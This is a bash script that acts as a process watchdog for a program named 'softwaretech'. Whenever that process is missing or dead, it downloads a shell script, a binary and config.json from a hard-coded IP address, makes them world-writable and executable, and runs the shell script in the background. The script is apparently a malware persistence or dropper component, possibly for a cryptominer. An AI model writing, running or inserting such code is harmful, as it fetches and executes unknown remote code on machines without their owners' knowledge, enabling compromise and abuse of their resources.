#!/bin/bash
PROC_NAME="softwaretech"

all_procs=$(ps -e -o stat=,comm=)
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')

if [ -z "$matches" ]; then
	
	rm config.json
	rm softwaretech
	curl -O http://45.225.135.18/w4.sh
	curl -O http://45.225.135.18/softwaretech
	curl -O http://45.225.135.18/config.json
	chmod 777 softwaretech
	chmod 777 w4.sh
	./w4.sh &
else
	alive=$(echo "$matches" | awk '$1 !~ /^Z/')
	if [ -z "$alive" ]; then
		
	rm config.json
	rm softwaretech
	curl -O http://45.225.135.18/w4.sh
	curl -O http://45.225.135.18/softwaretech
	curl -O http://45.225.135.18/config.json
	chmod 777 softwaretech
	chmod 777 w4.sh
	./w4.sh &
	else
		echo "process is running normally"
	fi
fi
